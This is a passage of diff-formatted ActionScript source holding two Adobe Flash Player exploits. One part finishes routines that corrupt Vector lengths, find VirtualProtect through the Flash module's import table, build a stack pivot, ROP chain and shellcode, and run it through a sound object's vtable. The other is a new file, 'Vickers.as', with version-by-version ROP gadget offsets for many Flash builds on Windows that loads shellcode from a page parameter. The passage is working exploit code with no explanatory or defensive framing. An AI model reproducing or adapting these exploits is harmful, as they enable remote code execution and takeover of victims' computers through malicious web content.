if (sp != 0)
|
||||
sp = offset+sp;
|
||||
|
||||
return sp;
|
||||
}
|
||||
|
||||
/*
|
||||
* Build & Insert the stack pivot + ROP + Shellcode
|
||||
* Corrupt sound object vtable ptr
|
||||
* baseflashaddr_off: flash dll address offset
|
||||
* index: vectors table index
|
||||
* cvaddr: corrupted vector address
|
||||
* virtualprotectaddr: virtual protect address
|
||||
* sp: stack pivot address
|
||||
*/
|
||||
public function buildPayload(baseflashaddr_off:uint, index:uint, j:uint, cvaddr:uint, virtualprotectaddr:uint, sp:uint ):void
|
||||
{
|
||||
var dec:uint = 0;
|
||||
var soundobjref:uint = 0;
|
||||
var soundobjaddr:uint = 0;
|
||||
var sh:uint=0x300;
|
||||
var i:uint = 0;
|
||||
|
||||
/* Corrupt sound object vtable ptr */
|
||||
while (1)
|
||||
{
|
||||
if (this.s[index][j] == 0x00010c00 && this.s[index][j+0x09] == 0x1234)
|
||||
{
|
||||
soundobjref = this.s[index][j+0x0A];
|
||||
dec = soundobjref-cvaddr-1;
|
||||
this.s[index][dec/4-2] = cvaddr+2*4+4*4;
|
||||
break;
|
||||
}
|
||||
|
||||
j++;
|
||||
}
|
||||
|
||||
/* Stack pivot */
|
||||
for (i=0; i < 0x200; i++)
|
||||
this.s[index][i] = sp;
|
||||
|
||||
/* ROP */
|
||||
this.s[index][0] = 0x41414141;
|
||||
this.s[index][1] = 0x41414141;
|
||||
this.s[index][2] = 0x41414141;
|
||||
this.s[index][3] = 0x41414141;
|
||||
this.s[index][4] = virtualprotectaddr;
|
||||
this.s[index][5] = cvaddr+0xC00+8;
|
||||
this.s[index][6] = cvaddr;
|
||||
this.s[index][7] = 0x4000;
|
||||
this.s[index][8] = 0x40;
|
||||
this.s[index][9] = 0x1a002000;
|
||||
|
||||
/* Shellcode */
|
||||
for(var u:String in shellcodeObj)
|
||||
{
|
||||
this.s[index][sh++] = Number(shellcodeObj[u]);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Get flash module base address
|
||||
* index: index of vectors table
|
||||
* cvaddr: corrupted vector address
|
||||
*/
|
||||
public function getFlashBaseAddr(index:uint, cvaddr:uint):Array
|
||||
{
|
||||
var baseflashaddr_off:uint = 0;
|
||||
var j:int = 0;
|
||||
var k:int = 0;
|
||||
var kmax:uint = 0;
|
||||
var vtableobj:int = 0;
|
||||
var ocxinfo:Array = new Array();
|
||||
|
||||
|
||||
while (1)
|
||||
{
|
||||
if (this.s[index][j] == 0x00010c00)
|
||||
{
|
||||
vtableobj = this.s[index][j+0x08] & 0xFFFF0000;
|
||||
|
||||
/* Get ocx base address */
|
||||
k = 0;
|
||||
while (1)
|
||||
{
|
||||
if (this.s[index][(vtableobj-cvaddr-k)/4 - 2] == 0x00905A4D)
|
||||
{
|
||||
baseflashaddr_off = (vtableobj-cvaddr-k)/4 - 2;
|
||||
ocxinfo[0] = baseflashaddr_off;
|
||||
ocxinfo[1] = j;
|
||||
ocxinfo[2] = k;
|
||||
ocxinfo[3] = vtableobj;
|
||||
|
||||
return ocxinfo;
|
||||
}
|
||||
|
||||
k = k + 0x1000;
|
||||
}
|
||||
}
|
||||
|
||||
j = j + 0x1;
|
||||
}
|
||||
|
||||
return ocxinfo;
|
||||
}
|
||||
|
||||
/*
|
||||
* Find kernel32.dll index
|
||||
* index: index of vectors table
|
||||
* baseflashaddr_off: flash dll address offset
|
||||
* importsindex: offset to the imports table
|
||||
*/
|
||||
public function getK32Index(index:uint, baseflashaddr_off:uint, importsindex:uint):uint
|
||||
{
|
||||
var nameindex:uint = 0;
|
||||
var dllname:int = 0;
|
||||
var nameaddr:int = 0;
|
||||
|
||||
do
|
||||
{
|
||||
nameaddr = this.s[index][baseflashaddr_off+importsindex/4+nameindex/4+0x0C/4];
|
||||
|
||||
/* kernel32.dll not found */
|
||||
if (nameaddr == 0x0)
|
||||
break;
|
||||
|
||||
dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4));
|
||||
|
||||
/* Check kernel32.dll */
|
||||
if (dllname == 0x6E72656B || dllname == 0x4E52454B)
|
||||
{
|
||||
nameaddr = nameaddr + 4;
|
||||
dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4));
|
||||
if (dllname == 0x32336C65 || dllname == 0x32334C45)
|
||||
{
|
||||
nameaddr = nameaddr + 4;
|
||||
dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4));
|
||||
if (dllname == 0x6C6C642E || dllname == 0x4C4C442E)
|
||||
{
|
||||
return nameindex;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Next dll */
|
||||
nameindex = nameindex + 0x14;
|
||||
}
|
||||
while (1);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* Get VirtualProtectStub() addr
|
||||
*/
|
||||
public function GetVirtualProtectStubAddr(index:uint, baseflashaddr_off:uint, fct_addr_offset:uint, fct_name_offset:uint):uint
|
||||
{
|
||||
var fct_addr:uint = 0;
|
||||
var fct_name:uint = 0;
|
||||
var fct_name_struct:uint = 0;
|
||||
|
||||
do
|
||||
{
|
||||
fct_addr = readInt(this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4+1], (fct_addr_offset % 4));
|
||||
fct_name_struct = readInt(this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4+1], (fct_name_offset % 4));
|
||||
|
||||
/* VirtualProtectStub() not found */
|
||||
if (fct_addr == 0 || fct_name_struct == 0)
|
||||
break;
|
||||
|
||||
if ((fct_name_struct & 0x80000000) != 0x80000000)
|
||||
{
|
||||
fct_name_struct = fct_name_struct + 2;
|
||||
fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
|
||||
|
||||
/* Check VirtualProtect */
|
||||
if (fct_name == 0x74726956 || fct_name == 0x54524956)
|
||||
{
|
||||
fct_name_struct = fct_name_struct + 4;
|
||||
fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
|
||||
if (fct_name == 0x504c4155 || fct_name == 0x506c6175)
|
||||
{
|
||||
fct_name_struct = fct_name_struct + 4;
|
||||
fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
|
||||
if (fct_name == 0x45544f52 || fct_name == 0x65746f72)
|
||||
{
|
||||
return fct_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Next Function() */
|
||||
fct_addr_offset = fct_addr_offset + 0x4;
|
||||
fct_name_offset = fct_name_offset + 0x4;
|
||||
}
|
||||
while (1);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* Get corrupted vector index
|
||||
*/
|
||||
public function getCorruptedVectorIndex():uint
|
||||
{
|
||||
var i:uint = 0;
|
||||
for (i=0; i < this.s.length; i++)
|
||||
{
|
||||
if (this.s[i].length == 0x3FFFFFFF)
|
||||
{
|
||||
return i;
|
||||
}
|
||||
}
|
||||
|
||||
return i;
|
||||
}
|
||||
|
||||
/*
|
||||
* Corrupt next vector size
|
||||
*/
|
||||
public function corruptNextVector(index:uint):uint
|
||||
{
|
||||
var j:uint = 0;
|
||||
|
||||
for (j=0; j < this.s.length; j++)
|
||||
{
|
||||
if (this.s[index][j] == 0x000003F0)
|
||||
{
|
||||
this.s[index][j] = 0x3FFFFFFF;
|
||||
|
||||
return j;
|
||||
}
|
||||
|
||||
j = j + 1;
|
||||
}
|
||||
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* Perform the exploitation
|
||||
* - Find VirtualProtect()
|
||||
* - Find a stack pivot
|
||||
* - Build payload (SP + ROP + SC)
|
||||
* - Run payload
|
||||
*/
|
||||
public function timerHandler(event:TimerEvent):void
|
||||
{
|
||||
var i:int = 0;
|
||||
var j:int = 0;
|
||||
var k:int = 0;
|
||||
|
||||
var vtableobj:int = 0;
|
||||
var peindex:int = 0;
|
||||
var importsindex:int = 0;
|
||||
var k32index:int = 0;
|
||||
var fct_name_offset:uint = 0;
|
||||
var fct_addr_offset:uint = 0;
|
||||
|
||||
var baseflashaddr_off:int = 0; /* Base address of the flash dll */
|
||||
var vp_addr:uint = 0; /* VirtualProtectStub() addr */
|
||||
var stackpivot:uint = 0; /* Stackpivot address */
|
||||
|
||||
var cvaddr:int = 0x1a001000; /* corrupted vector address */
|
||||
var ocxinfo:Array;
|
||||
var i2:uint = 0;
|
||||
|
||||
/* Search the corrupted vector */
|
||||
for (i=0; i < this.s.length; i++)
|
||||
{
|
||||
/* Find corrupted vector */
|
||||
if (this.s[i].length == 0x010003f0)
|
||||
{
|
||||
this.myTimer.stop();
|
||||
|
||||
/* Corrupt next vector size */
|
||||
if (corruptNextVector(i) == 0)
|
||||
return;
|
||||
|
||||
/* Find corrupted vector */
|
||||
i2 = getCorruptedVectorIndex();
|
||||
if (i2 == 0) return;
|
||||
|
||||
/* Get flash base addr */
|
||||
ocxinfo = getFlashBaseAddr(i2, cvaddr);
|
||||
if (ocxinfo.length == 0) return;
|
||||
baseflashaddr_off = ocxinfo[0];
|
||||
j = ocxinfo[1];
|
||||
k = ocxinfo[2];
|
||||
vtableobj = ocxinfo[3];
|
||||
|
||||
/* Get imports table */
|
||||
peindex = this.s[i2][baseflashaddr_off+0x3C/4];
|
||||
importsindex = this.s[i2][baseflashaddr_off+peindex/4+(0x18+0x60+0x8)/4];
|
||||
|
||||
/* Find kernel32.dll */
|
||||
k32index = getK32Index(i2, baseflashaddr_off, importsindex);
|
||||
if (k32index == 0) return;
|
||||
|
||||
fct_addr_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4+0x10/4];
|
||||
fct_name_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4];
|
||||
|
||||
/* Find VirtualProtectStub() addr */
|
||||
vp_addr = GetVirtualProtectStubAddr(i2, baseflashaddr_off, fct_addr_offset, fct_name_offset);
|
||||
if (vp_addr == 0) return;
|
||||
|
||||
/* Search Stack Pivot */
|
||||
stackpivot = getSP(baseflashaddr_off, i2, vtableobj-k);
|
||||
if (stackpivot == 0) return;
|
||||
|
||||
/* Build Payload */
|
||||
buildPayload(baseflashaddr_off, i2, j, cvaddr, vp_addr, stackpivot);
|
||||
|
||||
/* Run Payload */
|
||||
this.sound.toString();
|
||||
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,797 @@
|
|||
//Compile with mxmlc Vickers.as -o Vickers.swf
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite;
|
||||
import flash.system.Capabilities;
|
||||
import flash.utils.ByteArray;
|
||||
import __AS3__.vec.Vector;
|
||||
import flash.system.ApplicationDomain;
|
||||
import avm2.intrinsics.memory.*;
|
||||
|
||||
public class Vickers extends Sprite
|
||||
{
|
||||
|
||||
public static var shellcode:String;
|
||||
|
||||
public function Vickers()
|
||||
{
|
||||
var params = root.loaderInfo.parameters;
|
||||
shellcode = params["id"];
|
||||
while (true)
|
||||
{
|
||||
if (exploit()) break;
|
||||
};
|
||||
}
|
||||
|
||||
public function makePayload(vftableAddr:*, scAddr:*):ByteArray
|
||||
{
|
||||
var payload = null;
|
||||
switch (Capabilities.os.toLowerCase())
|
||||
{
|
||||
case "windows xp":
|
||||
case "windows vista":
|
||||
case "windows server 2003 r2":
|
||||
case "windows server 2003":
|
||||
case "windows 7":
|
||||
case "windows 7 x64":
|
||||
case "windows server 2008 r2":
|
||||
case "windows server 2008":
|
||||
payload = makePayloadWinOther(vftableAddr, scAddr);
|
||||
break;
|
||||
case "windows 8":
|
||||
case "windows 8 x64":
|
||||
payload = makePayloadWin8(vftableAddr, scAddr);
|
||||
break;
|
||||
default:
|
||||
return (null);
|
||||
};
|
||||
return (payload);
|
||||
}
|
||||
|
||||
public function makePayloadWin8(vftableAddr:*, scAddr:*):ByteArray
|
||||
{
|
||||
var flash_base:uint = vftableAddr;
|
||||
var flash_end:uint;
|
||||
var rop_payload:ByteArray = new ByteArray();
|
||||
rop_payload.position = 0;
|
||||
rop_payload.endian = "littleEndian";
|
||||
rop_payload.writeUnsignedInt((scAddr + 4));
|
||||
switch (Capabilities.version.toLowerCase())
|
||||
{
|
||||
case "win 11,3,372,94":
|
||||
flash_base = (flash_base - 9518744);
|
||||
flash_end = (flash_base + 0xB10000);
|
||||
rop_payload.writeUnsignedInt((flash_base + 0x401404)); // add esp, 0x44; ret
|
||||
rop_payload.position = 64;
|
||||
rop_payload.writeUnsignedInt((flash_base + 0x26525)); // xchg eax, esp; ret
|
||||
rop_payload.position = 76;
|
||||
rop_payload.writeUnsignedInt((flash_base + 0x10c5)); // pop eax; ret
|
||||
rop_payload.writeUnsignedInt((flash_base + 0x817420)); // ptr to KERNEL32!VirtualProtectStub
|
||||
rop_payload.writeUnsignedInt((flash_base + 0x9e16)); // mov eax, dword ptr [eax]; ret
|
||||
rop_payload.writeUnsignedInt((flash_base + 0xcc022)); // push eax; ret
|
||||
rop_payload.writeUnsignedInt((flash_base + 0x3157c)); // jmp esp ; ret after VirtualProtect
|
||||
rop_payload.writeUnsignedInt(scAddr);
|
||||
rop_payload.writeUnsignedInt(0x1000);
|
||||
rop_payload.writeUnsignedInt(0x40);
|
||||
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,3,375,10":
|
||||
flash_base = (flash_base - 9589392);
|
||||
flash_end = (flash_base + 0xB15000);
|
||||
rop_payload.writeUnsignedInt((flash_base + 4220004));
|
||||
rop_payload.position = 64;
|
||||
rop_payload.writeUnsignedInt((flash_base + 142215));
|
||||
rop_payload.position = 76;
|
||||
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||
rop_payload.writeUnsignedInt((flash_base + 8504352));
|
||||
rop_payload.writeUnsignedInt((flash_base + 40214));
|
||||
rop_payload.writeUnsignedInt((flash_base + 840082));
|
||||
rop_payload.writeUnsignedInt((flash_base + 202134));
|
||||
rop_payload.writeUnsignedInt(scAddr);
|
||||
rop_payload.writeUnsignedInt(0x1000);
|
||||
rop_payload.writeUnsignedInt(64);
|
||||
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,3,376,12":
|
||||
flash_base = (flash_base - 9593552);
|
||||
flash_end = (flash_base + 0xB16000);
|
||||
rop_payload.writeUnsignedInt((flash_base + 4220740));
|
||||
rop_payload.position = 64;
|
||||
rop_payload.writeUnsignedInt((flash_base + 142023));
|
||||
rop_payload.position = 76;
|
||||
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||
rop_payload.writeUnsignedInt((flash_base + 8508448));
|
||||
rop_payload.writeUnsignedInt((flash_base + 39878));
|
||||
rop_payload.writeUnsignedInt((flash_base + 839538));
|
||||
rop_payload.writeUnsignedInt((flash_base + 201958));
|
||||
rop_payload.writeUnsignedInt(scAddr);
|
||||
rop_payload.writeUnsignedInt(0x1000);
|
||||
rop_payload.writeUnsignedInt(64);
|
||||
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,3,377,15":
|
||||
flash_base = (flash_base - 9589576);
|
||||
flash_end = (flash_base + 0xB15000);
|
||||
rop_payload.writeUnsignedInt((flash_base + 4220388));
|
||||
rop_payload.position = 64;
|
||||
rop_payload.writeUnsignedInt((flash_base + 141671));
|
||||
rop_payload.position = 76;
|
||||
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||
rop_payload.writeUnsignedInt((flash_base + 8504352));
|
||||
rop_payload.writeUnsignedInt((flash_base + 39526));
|
||||
rop_payload.writeUnsignedInt((flash_base + 839698));
|
||||
rop_payload.writeUnsignedInt((flash_base + 201590));
|
||||
rop_payload.writeUnsignedInt(scAddr);
|
||||
rop_payload.writeUnsignedInt(0x1000);
|
||||
rop_payload.writeUnsignedInt(64);
|
||||
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,3,378,5":
|
||||
flash_base = (flash_base - 9589448);
|
||||
flash_end = (flash_base + 0xB15000);
|
||||
rop_payload.writeUnsignedInt((flash_base + 4220388));
|
||||
rop_payload.position = 64;
|
||||
rop_payload.writeUnsignedInt((flash_base + 141671));
|
||||
rop_payload.position = 76;
|
||||
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||
rop_payload.writeUnsignedInt((flash_base + 8504352));
|
||||
rop_payload.writeUnsignedInt((flash_base + 39526));
|
||||
rop_payload.writeUnsignedInt((flash_base + 839698));
|
||||
rop_payload.writeUnsignedInt((flash_base + 201590));
|
||||
rop_payload.writeUnsignedInt(scAddr);
|
||||
rop_payload.writeUnsignedInt(0x1000);
|
||||
rop_payload.writeUnsignedInt(64);
|
||||
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,3,379,14":
|
||||
flash_base = (flash_base - 9597856);
|
||||
flash_end = (flash_base + 0xB17000);
|
||||
rop_payload.writeUnsignedInt((flash_base + 4575113));
|
||||
rop_payload.position = 64;
|
||||
rop_payload.writeUnsignedInt((flash_base + 6617808));
|
||||
rop_payload.position = 76;
|
||||
rop_payload.writeUnsignedInt((flash_base + 8149060));
|
||||
rop_payload.writeUnsignedInt((flash_base + 8512544));
|
||||
rop_payload.writeUnsignedInt((flash_base + 4907562));
|
||||
rop_payload.writeUnsignedInt((flash_base + 8147977));
|
||||
rop_payload.writeUnsignedInt((flash_base + 4046601));
|
||||
rop_payload.writeUnsignedInt(scAddr);
|
||||
rop_payload.writeUnsignedInt(0x1000);
|
||||
rop_payload.writeUnsignedInt(64);
|
||||
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,6,602,167":
|
||||
flash_base = (flash_base - 9821704);
|
||||
flash_end = (flash_base + 0xB85000);
|
||||
rop_payload.writeUnsignedInt((flash_base + 8405950));
|
||||
rop_payload.position = 64;
|
||||
rop_payload.writeUnsignedInt((flash_base + 27456));
|
||||
rop_payload.position = 76;
|
||||
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||
rop_payload.writeUnsignedInt((flash_base + 8791088));
|
||||
rop_payload.writeUnsignedInt((flash_base + 73494));
|
||||
rop_payload.writeUnsignedInt((flash_base + 1115794));
|
||||
rop_payload.writeUnsignedInt((flash_base + 242790));
|
||||
rop_payload.writeUnsignedInt(scAddr);
|
||||
rop_payload.writeUnsignedInt(0x1000);
|
||||
rop_payload.writeUnsignedInt(64);
|
||||
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,6,602,171":
|
||||
flash_base = (flash_base - 9821904);
|
||||
flash_end = (flash_base + 0xB85000);
|
||||
rop_payload.writeUnsignedInt((flash_base + 8406414));
|
||||
rop_payload.position = 64;
|
||||
rop_payload.writeUnsignedInt((flash_base + 27456));
|
||||
rop_payload.position = 76;
|
||||
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||
rop_payload.writeUnsignedInt((flash_base + 8791088));
|
||||
rop_payload.writeUnsignedInt((flash_base + 73078));
|
||||
rop_payload.writeUnsignedInt((flash_base + 1116754));
|
||||
rop_payload.writeUnsignedInt((flash_base + 242380));
|
||||
rop_payload.writeUnsignedInt(scAddr);
|
||||
rop_payload.writeUnsignedInt(0x1000);
|
||||
rop_payload.writeUnsignedInt(64);
|
||||
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,6,602,180":
|
||||
flash_base = (flash_base - 9816600);
|
||||
flash_end = (flash_base + 0xB84000);
|
||||
rop_payload.writeUnsignedInt((flash_base + 8404478));
|
||||
rop_payload.position = 64;
|
||||
rop_payload.writeUnsignedInt((flash_base + 29514));
|
||||
rop_payload.position = 76;
|
||||
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||
rop_payload.writeUnsignedInt((flash_base + 8786992));
|
||||
rop_payload.writeUnsignedInt((flash_base + 69382));
|
||||
rop_payload.writeUnsignedInt((flash_base + 175197));
|
||||
rop_payload.writeUnsignedInt((flash_base + 238732));
|
||||
rop_payload.writeUnsignedInt(scAddr);
|
||||
rop_payload.writeUnsignedInt(0x1000);
|
||||
rop_payload.writeUnsignedInt(64);
|
||||
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,7,700,169":
|
||||
flash_base = (flash_base - 10441412);
|
||||
flash_end = (flash_base + 0xC45000);
|
||||
rop_payload.writeUnsignedInt((flash_base + 4640769));
|
||||
rop_payload.position = 64;
|
||||
rop_payload.writeUnsignedInt((flash_base + 53338));
|
||||
rop_payload.position = 76;
|
||||
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||
rop_payload.writeUnsignedInt((flash_base + 9368732));
|
||||
rop_payload.writeUnsignedInt((flash_base + 95414));
|
||||
rop_payload.writeUnsignedInt((flash_base + 1145506));
|
||||
rop_payload.writeUnsignedInt((flash_base + 2156132));
|
||||
rop_payload.writeUnsignedInt(scAddr);
|
||||
rop_payload.writeUnsignedInt(0x1000);
|
||||
rop_payload.writeUnsignedInt(64);
|
||||
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,7,700,202":
|
||||
flash_base = (flash_base - 0x9f5470);
|
||||
flash_end = (flash_base + 0xC45000);
|
||||
rop_payload.writeUnsignedInt((flash_base + 0x46c361));
|
||||
rop_payload.position = 64;
|
||||
rop_payload.writeUnsignedInt((flash_base + 0xcc5a));
|
||||
rop_payload.position = 76;
|
||||
rop_payload.writeUnsignedInt((flash_base + 0x10c5));
|
||||
rop_payload.writeUnsignedInt((flash_base + 0x8ef49c));
|
||||
rop_payload.writeUnsignedInt((flash_base + 0x17136));
|
||||
rop_payload.writeUnsignedInt((flash_base + 0x42f0));
|
||||
rop_payload.writeUnsignedInt((flash_base + 0x40664));
|
||||
rop_payload.writeUnsignedInt(scAddr);
|
||||
rop_payload.writeUnsignedInt(0x1000);
|
||||
rop_payload.writeUnsignedInt(64);
|
||||
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,7,700,224":
|
||||
flash_base = (flash_base - 10450228);
|
||||
flash_end = (flash_base + 0xC7A000);
|
||||
rop_payload.writeUnsignedInt((flash_base + 4646881));
|
||||
rop_payload.position = 64;
|
||||
rop_payload.writeUnsignedInt((flash_base + 52090));
|
||||
rop_payload.position = 76;
|
||||
rop_payload.writeUnsignedInt((flash_base + 4293));
|
||||
rop_payload.writeUnsignedInt((flash_base + 9376924));
|
||||
rop_payload.writeUnsignedInt((flash_base + 93510));
|
||||
rop_payload.writeUnsignedInt((flash_base + 1145378));
|
||||
rop_payload.writeUnsignedInt((flash_base + 1909483));
|
||||
rop_payload.writeUnsignedInt(scAddr);
|
||||
rop_payload.writeUnsignedInt(0x1000);
|
||||
rop_payload.writeUnsignedInt(64);
|
||||
rop_payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
default:
|
||||
return (null);
|
||||
};
|
||||
return (rop_payload);
|
||||
}
|
||||
|
||||
public function makePayloadWinOther(vftableAddr:*, scAddr:*):ByteArray
|
||||
{
|
||||
var vftableAddr_copy:uint = vftableAddr;
|
||||
var _local_5:uint;
|
||||
var payload:ByteArray = new ByteArray();
|
||||
payload.position = 0;
|
||||
payload.endian = "littleEndian";
|
||||
payload.writeUnsignedInt((scAddr + 4));
|
||||
switch (Capabilities.version.toLowerCase())
|
||||
{
|
||||
case "win 11,0,1,152":
|
||||
vftableAddr_copy = (vftableAddr_copy - 7628676);
|
||||
_local_5 = (vftableAddr_copy + 0x927000);
|
||||
payload.position = 8;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1041567));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1937003));
|
||||
payload.position = 80;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4585805));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6697912));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2201532));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 3985044));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2764856));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,1,102,55":
|
||||
vftableAddr_copy = (vftableAddr_copy - 7633040);
|
||||
_local_5 = (vftableAddr_copy + 0x927000);
|
||||
payload.position = 8;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4793772));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1939267));
|
||||
payload.position = 80;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2297101));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6702008));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 3976335));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 3516263));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2768033));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,1,102,62":
|
||||
vftableAddr_copy = (vftableAddr_copy - 7628912);
|
||||
_local_5 = (vftableAddr_copy + 0x927000);
|
||||
payload.position = 8;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4794156));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1939856));
|
||||
payload.position = 80;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5126527));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6702008));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2920469));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4454837));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2768325));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,1,102,63":
|
||||
vftableAddr_copy = (vftableAddr_copy - 7628904);
|
||||
_local_5 = (vftableAddr_copy + 0x927000);
|
||||
payload.position = 8;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4794076));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 1939822));
|
||||
payload.position = 80;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5126435));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6702008));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2353542));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 3516455));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2768305));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,2,202,228":
|
||||
vftableAddr_copy = (vftableAddr_copy - 7726032);
|
||||
_local_5 = (vftableAddr_copy + 0x93F000);
|
||||
payload.position = 8;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4947482));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2022234));
|
||||
payload.position = 80;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6255948));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6824832));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5021261));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6176368));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2847152));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
case "win 11,2,202,233":
|
||||
vftableAddr_copy = (vftableAddr_copy - 7729872);
|
||||
_local_5 = (vftableAddr_copy + 0x93F000);
|
||||
payload.position = 8;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4947594));
|
||||
payload.position = 64;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2022508));
|
||||
payload.position = 80;
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4691374));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 6824832));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 4164715));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 5837496));
|
||||
payload.writeUnsignedInt((vftableAddr_copy + 2847021));
|
||||
payload.writeUnsignedInt(scAddr);
|
||||
payload.writeUnsignedInt(0x1000);
|
||||
payload.writeUnsignedInt(64);
|
||||
payload.writeUnsignedInt((scAddr - 4));
|
||||
break;
|
||||
